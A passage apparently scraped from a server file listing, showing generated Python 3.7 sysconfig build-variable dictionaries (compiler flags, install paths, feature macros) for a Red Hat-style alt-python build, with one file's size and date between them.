'HAVE_SIGINTERRUPT': 1, 'HAVE_SIGNAL_H': 1, 'HAVE_SIGPENDING': 1, 'HAVE_SIGRELSE': 1, 'HAVE_SIGTIMEDWAIT': 1, 'HAVE_SIGWAIT': 1, 'HAVE_SIGWAITINFO': 1, 'HAVE_SNPRINTF': 1, 'HAVE_SOCKADDR_ALG': 1, 'HAVE_SOCKADDR_SA_LEN': 0, 'HAVE_SOCKADDR_STORAGE': 1, 'HAVE_SOCKETPAIR': 1, 'HAVE_SPAWN_H': 1, 'HAVE_SSIZE_T': 1, 'HAVE_STATVFS': 1, 'HAVE_STAT_TV_NSEC': 1, 'HAVE_STAT_TV_NSEC2': 0, 'HAVE_STDARG_PROTOTYPES': 1, 'HAVE_STDINT_H': 1, 'HAVE_STDLIB_H': 1, 'HAVE_STD_ATOMIC': 1, 'HAVE_STRDUP': 1, 'HAVE_STRFTIME': 1, 'HAVE_STRINGS_H': 1, 'HAVE_STRING_H': 1, 'HAVE_STRLCPY': 0, 'HAVE_STROPTS_H': 0, 'HAVE_STRUCT_PASSWD_PW_GECOS': 1, 'HAVE_STRUCT_PASSWD_PW_PASSWD': 1, 'HAVE_STRUCT_STAT_ST_BIRTHTIME': 0, 'HAVE_STRUCT_STAT_ST_BLKSIZE': 1, 'HAVE_STRUCT_STAT_ST_BLOCKS': 1, 'HAVE_STRUCT_STAT_ST_FLAGS': 0, 'HAVE_STRUCT_STAT_ST_GEN': 0, 'HAVE_STRUCT_STAT_ST_RDEV': 1, 'HAVE_STRUCT_TM_TM_ZONE': 1, 'HAVE_SYMLINK': 1, 'HAVE_SYMLINKAT': 1, 'HAVE_SYNC': 1, 'HAVE_SYSCONF': 1, 'HAVE_SYSEXITS_H': 1, 'HAVE_SYS_AUDIOIO_H': 0, 'HAVE_SYS_BSDTTY_H': 0, 'HAVE_SYS_DEVPOLL_H': 0, 'HAVE_SYS_DIR_H': 0, 'HAVE_SYS_ENDIAN_H': 0, 'HAVE_SYS_EPOLL_H': 1, 'HAVE_SYS_EVENT_H': 0, 'HAVE_SYS_FILE_H': 1, 'HAVE_SYS_IOCTL_H': 1, 'HAVE_SYS_KERN_CONTROL_H': 0, 'HAVE_SYS_LOADAVG_H': 0, 'HAVE_SYS_LOCK_H': 0, 'HAVE_SYS_MKDEV_H': 0, 'HAVE_SYS_MODEM_H': 0, 'HAVE_SYS_NDIR_H': 0, 'HAVE_SYS_PARAM_H': 1, 'HAVE_SYS_POLL_H': 1, 'HAVE_SYS_RANDOM_H': 1, 'HAVE_SYS_RESOURCE_H': 1, 'HAVE_SYS_SELECT_H': 1, 'HAVE_SYS_SENDFILE_H': 1, 'HAVE_SYS_SOCKET_H': 1, 'HAVE_SYS_STATVFS_H': 1, 'HAVE_SYS_STAT_H': 1, 'HAVE_SYS_SYSCALL_H': 1, 'HAVE_SYS_SYSMACROS_H': 1, 'HAVE_SYS_SYS_DOMAIN_H': 0, 'HAVE_SYS_TERMIO_H': 0, 'HAVE_SYS_TIMES_H': 1, 'HAVE_SYS_TIME_H': 1, 'HAVE_SYS_TYPES_H': 1, 'HAVE_SYS_UIO_H': 1, 'HAVE_SYS_UN_H': 1, 'HAVE_SYS_UTSNAME_H': 1, 'HAVE_SYS_WAIT_H': 1, 'HAVE_SYS_XATTR_H': 1, 'HAVE_TCGETPGRP': 1, 'HAVE_TCSETPGRP': 1, 'HAVE_TEMPNAM': 1, 'HAVE_TERMIOS_H': 1, 'HAVE_TERM_H': 1, 'HAVE_TGAMMA': 1, 'HAVE_TIMEGM': 1, 'HAVE_TIMES': 1, 'HAVE_TMPFILE': 1, 'HAVE_TMPNAM': 1, 'HAVE_TMPNAM_R': 1, 'HAVE_TM_ZONE': 1, 'HAVE_TRUNCATE': 1, 'HAVE_TZNAME': 0, 'HAVE_UCS4_TCL': 0, 'HAVE_UNAME': 1, 'HAVE_UNISTD_H': 1, 'HAVE_UNLINKAT': 1, 'HAVE_UNSETENV': 1, 'HAVE_USABLE_WCHAR_T': 0, 'HAVE_UTIL_H': 0, 'HAVE_UTIMENSAT': 1, 'HAVE_UTIMES': 1, 'HAVE_UTIME_H': 1, 'HAVE_UUID_CREATE': 0, 'HAVE_UUID_ENC_BE': 0, 'HAVE_UUID_GENERATE_TIME_SAFE': 0, 'HAVE_UUID_H': 0, 'HAVE_UUID_UUID_H': 0, 'HAVE_WAIT3': 1, 'HAVE_WAIT4': 1, 'HAVE_WAITID': 1, 'HAVE_WAITPID': 1, 'HAVE_WCHAR_H': 1, 'HAVE_WCSCOLL': 1, 'HAVE_WCSFTIME': 1, 'HAVE_WCSXFRM': 1, 'HAVE_WMEMCMP': 1, 'HAVE_WORKING_TZSET': 1, 'HAVE_WRITEV': 1, 'HAVE_X509_VERIFY_PARAM_SET1_HOST': 1, 'HAVE_ZLIB_COPY': 1, 'HAVE__GETPTY': 0, 'HOST_GNU_TYPE': 'x86_64-redhat-linux-gnu', 'INCLDIRSTOMAKE': '/opt/alt/python37/include ' '/opt/alt/python37/include/python3.7dm', 'INCLUDEDIR': '/opt/alt/python37/include', 'INCLUDEPY': '/opt/alt/python37/include/python3.7dm', 'INSTALL': '/usr/bin/install -c', 'INSTALL_DATA': '/usr/bin/install -c -m 644', 'INSTALL_PROGRAM': '/usr/bin/install -c', 'INSTALL_SCRIPT': '/usr/bin/install -c', 'INSTALL_SHARED': '/usr/bin/install -c -m 555', 'INSTSONAME': 'libpython3.7dm.so.1.0', 'IO_H': 'Modules/_io/_iomodule.h', 'IO_OBJS': '\\', 'LDCXXSHARED': 'g++ -shared', 'LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'LDFLAGS_NODIST': '', 'LDLAST': '', 'LDLIBRARY': 'libpython3.7dm.so', 'LDLIBRARYDIR': '', 'LDSHARED': 'gcc -shared -Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'LDVERSION': '3.7dm', 'LIBC': '', 'LIBDEST': '/opt/alt/python37/lib64/python3.7', 'LIBDIR': '/opt/alt/python37/lib64', 'LIBFFI_INCLUDEDIR': '', 'LIBM': '-lm', 'LIBOBJDIR': 'Python/', 'LIBOBJS': '', 'LIBPC': '/opt/alt/python37/lib64/pkgconfig', 'LIBPL': '/opt/alt/python37/lib64/python3.7/config-3.7dm', 'LIBRARY': 'libpython3.7dm.a', 'LIBRARY_OBJS': '\\', 'LIBRARY_OBJS_OMIT_FROZEN': '\\', 'LIBS': '-lcrypt -ldl', 'LIBSUBDIRS': 'tkinter tkinter/test tkinter/test/test_tkinter \\', 'LINKCC': 'gcc', 'LINKFORSHARED': '-Xlinker -export-dynamic', 'LIPO_32BIT_FLAGS': '', 'LLVM_PROF_ERR': 'no', 'LLVM_PROF_FILE': '', 'LLVM_PROF_MERGER': 'true', 'LN': 'ln', 'LOCALMODLIBS': '', 'LOG1P_DROPS_ZERO_SIGN': 0, 'MACHDEP': 'linux', 'MACHDEP_OBJS': '', 'MACHDESTLIB': '/opt/alt/python37/lib64/python3.7', 'MACOSX_DEPLOYMENT_TARGET': '', 'MAINCC': 'gcc', 'MAJOR_IN_MKDEV': 0, 'MAJOR_IN_SYSMACROS': 1, 'MAKESETUP': '/builddir/build/BUILD/Python-3.7.17/Modules/makesetup', 'MANDIR': '/opt/alt/python37/share/man', 'MKDIR_P': '/usr/bin/mkdir -p', 'MODBUILT_NAMES': 'posix errno pwd _sre _codecs _weakref _functools ' '_operator _collections _abc itertools atexit _signal ' '_stat time _thread _locale _io zipimport ' 'faulthandler _tracemalloc _symtable xxsubtype', 'MODDISABLED_NAMES': '', 'MODLIBS': '', 'MODOBJS': 'Modules/posixmodule.o Modules/errnomodule.o ' 'Modules/pwdmodule.o Modules/_sre.o Modules/_codecsmodule.o ' 'Modules/_weakref.o Modules/_functoolsmodule.o ' 'Modules/_operator.o Modules/_collectionsmodule.o ' 'Modules/_abc.o Modules/itertoolsmodule.o ' 'Modules/atexitmodule.o Modules/signalmodule.o Modules/_stat.o ' 'Modules/timemodule.o Modules/_threadmodule.o ' 'Modules/_localemodule.o Modules/_iomodule.o Modules/iobase.o ' 'Modules/fileio.o Modules/bytesio.o Modules/bufferedio.o ' 'Modules/textio.o Modules/stringio.o Modules/zipimport.o ' 'Modules/faulthandler.o Modules/_tracemalloc.o ' 'Modules/hashtable.o Modules/symtablemodule.o ' 'Modules/xxsubtype.o', 'MODULE_OBJS': '\\', 'MULTIARCH': 'x86_64-linux-gnu', 'MULTIARCH_CPPFLAGS': '-DMULTIARCH=\\"x86_64-linux-gnu\\"', 'MVWDELCH_IS_EXPRESSION': 1, 'NO_AS_NEEDED': '-Wl,--no-as-needed', 'OBJECT_OBJS': '\\', 'OPENSSL_INCLUDES': '', 'OPENSSL_LDFLAGS': '', 'OPENSSL_LIBS': '-lssl -lcrypto', 'OPT': '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -flto=auto -ffat-lto-objects ' '-fexceptions -g -grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -march=x86-64-v2 ' '-mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv', 'OTHER_LIBTOOL_OPT': '', 'PACKAGE_BUGREPORT': 0, 'PACKAGE_NAME': 0, 'PACKAGE_STRING': 0, 'PACKAGE_TARNAME': 0, 'PACKAGE_URL': 0, 'PACKAGE_VERSION': 0, 'PARSER_HEADERS': '\\', 'PARSER_OBJS': '\\ Parser/myreadline.o Parser/parsetok.o Parser/tokenizer.o', 'PGEN': 'Parser/pgen', 'PGENOBJS': '\\', 'PGOBJS': '\\', 'PGO_PROF_GEN_FLAG': '-fprofile-generate', 'PGO_PROF_USE_FLAG': '-fprofile-use -fprofile-correction', 'POBJS': '\\', 'POSIX_SEMAPHORES_NOT_ENABLED': 0, 'PROFILE_TASK': '-m test.regrtest --pgo', 'PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT': 1, 'PTHREAD_SYSTEM_SCHED_SUPPORTED': 1, 'PY3LIBRARY': '', 'PYLONG_BITS_IN_DIGIT': 0, 'PYTHON': 'python', 'PYTHONFRAMEWORK': '', 'PYTHONFRAMEWORKDIR': 'no-framework', 'PYTHONFRAMEWORKINSTALLDIR': '', 'PYTHONFRAMEWORKPREFIX': '', 'PYTHONPATH': '', 'PYTHON_FOR_BUILD': './python -E', 'PYTHON_FOR_REGEN': 'python3', 'PYTHON_HEADERS': '\\', 'PYTHON_OBJS': '\\', 'PY_BUILTIN_MODULE_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-m64 -march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection ' '-D_GNU_SOURCE -fPIC -fwrapv -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-m64 -march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection ' '-D_GNU_SOURCE -fPIC -fwrapv -O0 -std=c99 -Wextra ' '-Wno-unused-result -Wno-unused-parameter ' '-Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration -IObjects ' '-IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include ' '-DPy_BUILD_CORE_BUILTIN', 'PY_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g -grecord-gcc-switches -pipe ' '-Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' '-fwrapv -O2 -flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' '-fwrapv -O0', 'PY_CFLAGS_NODIST': '-std=c99 -Wextra -Wno-unused-result ' '-Wno-unused-parameter -Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration', 'PY_COERCE_C_LOCALE': 1, 'PY_CORE_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g -grecord-gcc-switches ' '-pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv -O2 ' '-flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv -O0 -std=c99 ' '-Wextra -Wno-unused-result -Wno-unused-parameter ' '-Wno-missing-field-initializers -Wno-cast-function-type ' '-Werror=implicit-function-declaration -IObjects -IInclude ' '-IPython -I. -I/builddir/build/BUILD/Python-3.7.17/Include ' '-DPy_BUILD_CORE', 'PY_CORE_LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 ' '-Wl,-rpath=/opt/alt/python37/lib64', 'PY_CPPFLAGS': '-IObjects -IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include', 'PY_FORMAT_SIZE_T': '"z"', 'PY_LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'PY_LDFLAGS_NODIST': '', 'PY_SSL_DEFAULT_CIPHERS': 1, 'PY_SSL_DEFAULT_CIPHER_STRING': 0, 'PY_STDMODULE_CFLAGS': '-Wno-unused-result -Wsign-compare ' '-DDYNAMIC_ANNOTATIONS_ENABLED=1 -O2 -flto=auto ' '-ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv -O2 ' '-flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv -O0 ' '-std=c99 -Wextra -Wno-unused-result ' '-Wno-unused-parameter -Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration -IObjects ' '-IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include', 'Py_DEBUG': 1, 'Py_ENABLE_SHARED': 1, 'Py_HASH_ALGORITHM': 0, 'QUICKTESTOPTS': '-x test_subprocess test_io test_lib2to3 \\', 'READELF': 'readelf', 'RESSRCDIR': 'Mac/Resources/framework', 'RETSIGTYPE': 'void', 'RUNSHARED': 'LD_LIBRARY_PATH=/builddir/build/BUILD/Python-3.7.17/build/debug ' 'LD_PRELOAD=./libpython3.7m.so', 'SCRIPTDIR': '/opt/alt/python37/lib64', 'SETPGRP_HAVE_ARG': 0, 'SGI_ABI': '@SGI_ABI@', 'SHELL': '/bin/sh', 'SHLIBS': '-lcrypt -ldl', 'SHLIB_SUFFIX': '.so', 'SIGNED_RIGHT_SHIFT_ZERO_FILLS': 0, 'SITEPATH': '', 'SIZEOF_DOUBLE': 8, 'SIZEOF_FLOAT': 4, 'SIZEOF_FPOS_T': 16, 'SIZEOF_INT': 4, 'SIZEOF_LONG': 8, 'SIZEOF_LONG_DOUBLE': 16, 'SIZEOF_LONG_LONG': 8, 'SIZEOF_OFF_T': 8, 'SIZEOF_PID_T': 4, 'SIZEOF_PTHREAD_KEY_T': 4, 'SIZEOF_PTHREAD_T': 8, 'SIZEOF_SHORT': 2, 'SIZEOF_SIZE_T': 8, 'SIZEOF_TIME_T': 8, 'SIZEOF_UINTPTR_T': 8, 'SIZEOF_VOID_P': 8, 'SIZEOF_WCHAR_T': 4, 'SIZEOF__BOOL': 1, 'SOABI': 'cpython-37dm-x86_64-linux-gnu', 'SRCDIRS': 'Parser Objects Python Modules Modules/_io Programs', 'SRC_GDB_HOOKS': '/builddir/build/BUILD/Python-3.7.17/Tools/gdb/libpython.py', 'STDC_HEADERS': 1, 'STRICT_SYSV_CURSES': "/* Don't use ncurses extensions */", 'STRIPFLAG': '-s', 'SUBDIRS': '', 'SUBDIRSTOO': 'Include Lib Misc', 'SYSLIBS': '-lm', 'SYS_SELECT_WITH_SYS_TIME': 1, 'TANH_PRESERVES_ZERO_SIGN': 1, 'TCLTK_INCLUDES': '', 'TCLTK_LIBS': '', 'TESTOPTS': '', 'TESTPATH': '', 'TESTPYTHON': 'LD_LIBRARY_PATH=/builddir/build/BUILD/Python-3.7.17/build/debug ' 'LD_PRELOAD=./libpython3.7m.so ./', 'TESTPYTHONOPTS': '', 'TESTRUNNER': 'LD_LIBRARY_PATH=/builddir/build/BUILD/Python-3.7.17/build/debug ' 'LD_PRELOAD=./libpython3.7m.so ./ /Tools/scripts/run_tests.py', 'TESTTIMEOUT': 1200, 'TIMEMODULE_LIB': 0, 'TIME_WITH_SYS_TIME': 1, 'TM_IN_SYS_TIME': 0, 'UNICODE_DEPS': '\\', 'UNIVERSALSDK': '', 'UPDATE_FILE': 'python3 ' '/builddir/build/BUILD/Python-3.7.17/Tools/scripts/update_file.py', 'USE_COMPUTED_GOTOS': 1, 'VERSION': '3.7', 'VPATH': '/builddir/build/BUILD/Python-3.7.17', 'WINDOW_HAS_FLAGS': 1, 'WITH_DECIMAL_CONTEXTVAR': 1, 'WITH_DOC_STRINGS': 1, 'WITH_DTRACE': 0, 'WITH_DYLD': 0, 'WITH_LIBINTL': 0, 'WITH_NEXT_FRAMEWORK': 0, 'WITH_PYMALLOC': 1, 'WITH_VALGRIND': 1, 'X87_DOUBLE_ROUNDING': 0, 'XMLLIBSUBDIRS': 'xml xml/dom xml/etree xml/parsers xml/sax', 'abs_builddir': '/builddir/build/BUILD/Python-3.7.17/build/debug', 'abs_srcdir': '/builddir/build/BUILD/Python-3.7.17', 'datarootdir': '/opt/alt/python37/share', 'exec_prefix': '/opt/alt/python37', 'prefix': '/opt/alt/python37', 'srcdir': '/builddir/build/BUILD/Python-3.7.17'}	32.09 KB	2024-04-17 17:55
📄 _sysconfigdata_m_linux_x86_64-linux-gnu.py # system configuration generated and used by the sysconfig module build_time_vars = {'ABIFLAGS': 'm', 'AC_APPLE_UNIVERSAL_BUILD': 0, 'AIX_GENUINE_CPLUSPLUS': 0, 'ANDROID_API_LEVEL': 0, 'AR': 'ar', 'ARFLAGS': 'rcs', 'BASECFLAGS': '-Wno-unused-result -Wsign-compare', 'BASECPPFLAGS': '-IObjects -IInclude -IPython', 'BASEMODLIBS': '', 'BINDIR': '/opt/alt/python37/bin', 'BINLIBDEST': '/opt/alt/python37/lib64/python3.7', 'BLDLIBRARY': '-L. -lpython3.7m', 'BLDSHARED': 'gcc -shared -Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'BUILDEXE': '', 'BUILDPYTHON': 'python', 'BUILD_GNU_TYPE': 'x86_64-redhat-linux-gnu', 'BYTESTR_DEPS': '\\', 'CC': 'gcc', 'CCSHARED': '-fPIC', 'CFLAGS': '-Wno-unused-result -Wsign-compare -DDYNAMIC_ANNOTATIONS_ENABLED=1 ' '-DNDEBUG -O2 -flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' '-fwrapv', 'CFLAGSFORSHARED': '-fPIC', 'CFLAGS_ALIASING': '', 'CFLAGS_NODIST': '', 'CONFIGFILES': 'configure configure.ac acconfig.h pyconfig.h.in ' 'Makefile.pre.in', 'CONFIGURE_CFLAGS': '-O2 -flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv', 'CONFIGURE_CFLAGS_NODIST': '-std=c99 -Wextra -Wno-unused-result ' '-Wno-unused-parameter ' '-Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration', 'CONFIGURE_CPPFLAGS': '', 'CONFIGURE_LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 ' '-Wl,-rpath=/opt/alt/python37/lib64', 'CONFIGURE_LDFLAGS_NODIST': '', 'CONFIG_ARGS': "'--build=x86_64-redhat-linux-gnu' " "'--host=x86_64-redhat-linux-gnu' '--program-prefix=' " "'--disable-dependency-tracking' '--prefix=/opt/alt/python37' " "'--exec-prefix=/opt/alt/python37' " "'--bindir=/opt/alt/python37/bin' " "'--sbindir=/opt/alt/python37/sbin' '--sysconfdir=/etc' " "'--datadir=/opt/alt/python37/share' " "'--includedir=/opt/alt/python37/include' " "'--libdir=/opt/alt/python37/lib64' " "'--libexecdir=/opt/alt/python37/libexec' " "'--localstatedir=/var' '--sharedstatedir=/var/lib' " "'--mandir=/opt/alt/python37/share/man' " "'--infodir=/opt/alt/python37/share/info' '--enable-ipv6' " "'--enable-shared' '--with-computed-gotos=yes' " "'--with-dbmliborder=gdbm:ndbm:bdb' '--with-system-ffi' " "'--enable-loadable-sqlite-extensions' '--with-systemtap' " "'--with-valgrind' '--without-ensurepip' " "'build_alias=x86_64-redhat-linux-gnu' " "'host_alias=x86_64-redhat-linux-gnu' 'CC=gcc' 'CFLAGS=-O2 " '-flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' "-fwrapv' 'LDFLAGS=-Wl,-z,relro -Wl,--as-needed -Wl,-z,now " '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' "-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64' " "'CPPFLAGS=' " "'PKG_CONFIG_PATH=:/opt/alt/python37/lib64/pkgconfig:/opt/alt/python37/share/pkgconfig'", 'CONFINCLUDEDIR': '/opt/alt/python37/include', 'CONFINCLUDEPY': '/opt/alt/python37/include/python3.7m', 'COREPYTHONPATH': '', 'COVERAGE_INFO': '/builddir/build/BUILD/Python-3.7.17/build/optimized/coverage.info', 'COVERAGE_REPORT': '/builddir/build/BUILD/Python-3.7.17/build/optimized/lcov-report', 'COVERAGE_REPORT_OPTIONS': '--no-branch-coverage --title "CPython lcov ' 'report"', 'CPPFLAGS': '-IObjects -IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include', 'CXX': 'g++', 'DESTDIRS': '/opt/alt/python37 /opt/alt/python37/lib64 ' '/opt/alt/python37/lib64/python3.7 ' '/opt/alt/python37/lib64/python3.7/lib-dynload', 'DESTLIB': '/opt/alt/python37/lib64/python3.7', 'DESTPATH': '', 'DESTSHARED': '/opt/alt/python37/lib64/python3.7/lib-dynload', 'DFLAGS': '', 'DIRMODE': 755, 'DIST': 'README.rst ChangeLog configure configure.ac acconfig.h pyconfig.h.in ' 'Makefile.pre.in Include Lib Misc Ext-dummy', 'DISTDIRS': 'Include Lib Misc Ext-dummy', 'DISTFILES': 'README.rst ChangeLog configure configure.ac acconfig.h ' 'pyconfig.h.in Makefile.pre.in', 'DLINCLDIR': '.', 'DLLLIBRARY': '', 'DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754': 0, 'DOUBLE_IS_BIG_ENDIAN_IEEE754': 0, 'DOUBLE_IS_LITTLE_ENDIAN_IEEE754': 1, 'DTRACE': '', 'DTRACE_DEPS': '\\', 'DTRACE_HEADERS': '', 'DTRACE_OBJS': '', 'DYNLOADFILE': 'dynload_shlib.o', 'ENABLE_IPV6': 1, 'ENSUREPIP': 'no', 'EXE': '', 'EXEMODE': 755, 'EXTRATESTOPTS': '', 'EXT_SUFFIX': '.cpython-37m-x86_64-linux-gnu.so', 'FILEMODE': 644, 'FLOCK_NEEDS_LIBBSD': 0, 'GETPGRP_HAVE_ARG': 0, 'GETTIMEOFDAY_NO_TZ': 0, 'GITBRANCH': '', 'GITTAG': '', 'GITVERSION': '', 'GNULD': 'yes', 'HAVE_ACCEPT4': 1, 'HAVE_ACOSH': 1, 'HAVE_ADDRINFO': 1, 'HAVE_ALARM': 1, 'HAVE_ALIGNED_REQUIRED': 0, 'HAVE_ALLOCA_H': 1, 'HAVE_ALTZONE': 0, 'HAVE_ASINH': 1, 'HAVE_ASM_TYPES_H': 1, 'HAVE_ATANH': 1, 'HAVE_BIND_TEXTDOMAIN_CODESET': 1, 'HAVE_BLUETOOTH_BLUETOOTH_H': 1, 